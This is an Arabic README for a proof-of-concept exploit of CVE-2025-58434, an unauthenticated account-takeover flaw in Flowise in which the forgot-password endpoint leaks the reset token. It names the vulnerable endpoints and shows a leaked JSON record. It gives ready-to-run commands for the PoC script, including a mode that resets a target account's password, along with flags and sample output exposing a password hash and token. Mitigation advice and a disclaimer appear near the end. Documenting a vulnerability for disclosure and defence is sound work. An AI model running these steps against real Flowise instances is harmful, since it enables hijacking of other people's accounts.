
إثبات المفهوم لاستغلال CVE-2025-58434، يوضح الاستيلاء على الحساب دون مصادقة في Flowise عبر تسريب رموز إعادة تعيين كلمة المرور. يتضمن هجومًا من مرحلتين: تسريب الرمز وإعادة تعيين كلمة المرور.
⚠️ هذا المستودع مخصص للأغراض التعليمية وأبحاث الأمن المصرح بها فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني.
يقوم نقطة النهاية forgot-password في Flowise (سواء المستضافة على السحابة أو ذاتياً) بإرجاع رمز إعادة تعيين كلمة المرور الصالح (tempToken) مباشرة في نص استجابة HTTP — بدون أي تحقق من البريد الإلكتروني أو مصادقة.
هذا يعني أن المهاجم الذي يعرف (أو يمكنه تخمين) عنوان البريد الإلكتروني للضحية يمكنه:
forgot-password → استلام tempToken في استجابة JSONtempToken لاستدعاء reset-password → تعيين كلمة مرور جديدة عشوائيةلا حاجة لوصول مسبق، ولا تفاعل من المستخدم، ولا حاجة للوصول إلى البريد الإلكتروني.
| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2025-58434 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: آلية استعادة كلمة المرور ضعيفة |
| النوع | تجاوز المصادقة / تعريض كائن مباشر غير آمن |
| التطبيق المتأثر | Flowise (سحابة + ذاتي الاستضافة) |
| نقطة النهاية 1 | POST /api/v1/account/forgot-password |
| نقطة النهاية 2 | POST /api/v1/account/reset-password |
يقوم معالج forgot-password بإرجاع سجل المستخدم بالكامل — بما في ذلك tempToken المُنشأ — مباشرة في استجابة API بدلاً من إرساله فقط إلى عنوان البريد الإلكتروني المسجل للمستخدم.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
المهاجم Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (ينشئ tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (تم تغيير كلمة المرور!) │
│ │
✓ اكتمل الاستيلاء على الحساب
cloud.flowiseai.com) — تم التأكد من تأثرهتحقق من مستودع Flowise الرسمي على GitHub للحصول على معلومات الإصدار المُصحح.
CVE-2025-58434/
├── cve_2025_58434_poc.py # السكربت الرئيسي لـ PoC (هجوم على مرحلتين)
├── requirements.txt # تبعيات بايثون
├── README.md # هذا الملف
└── DISCLAIMER.md # إشعار قانوني (اقرأ قبل الاستخدام)
requests# استنساخ المستودع
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# تثبيت التبعيات
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
تأكيد أن المثيل معرض واسترجاع tempToken دون إعادة تعيين أي كلمة مرور.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
استخدام الرمز المسرب لإعادة تعيين كلمة المرور فوراً.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| العلم | الاختصار | الوصف | القيمة الافتراضية |
|---|---|---|---|
--url URL | -u | عنوان URL الأساسي لمثيل Flowise | (مطلوب) |
--email EMAIL | -e | عنوان البريد الإلكتروني للحساب المستهدف | (مطلوب) |
--reset | -r | تنفيذ المرحلة 2: إعادة تعيين كلمة المرور بالرمز المسرب | False |
--new-password PASS | -p | كلمة المرور الجديدة لتعيينها (تُستخدم مع --reset) | Changeme@2025! |
--timeout SECONDS | -t | مهلة طلب HTTP | 10 |
--json-output | -j | طباعة استجابة API JSON الخام إلى stdout | False |
[الخطوة 1] إرسال طلب forgot-password …
[*] حالة HTTP : 201
========================================================================
بيانات الحساب المسربة
========================================================================
معرف المستخدم : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
الاسم : Admin User
البريد : [email protected]
بيانات الاعتماد: $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
الحالة : active
الرمز المؤقت : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
صلاحية الرمز : 2025-08-19T13:00:33.834Z
========================================================================
[+] تم الحصول على tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] معرض: المثيل يسرب رموز إعادة تعيين كلمة المرور دون مصادقة!
إذا كنت مشغل مثيل Flowise، فقم بتطبيق التخفيفات التالية فوراً:
forgot-password بغض النظر عن وجود البريد الإلكتروني — فهذا يمنع أيضاً تعداد الحسابات.forgot-password.| التاريخ | الحدث |
|---|---|
| 2025-08-19 | تم اكتشاف الثغرة والإبلاغ عنها |
| سيحدد لاحقاً | إقرار البائع |
| سيحدد لاحقاً | إصدار التصحيح |
| سيحدد لاحقاً | الإفصاح العام |
هذا المشروع مخصص لأغراض تعليمية واختبار الاختراق المصرح به فقط.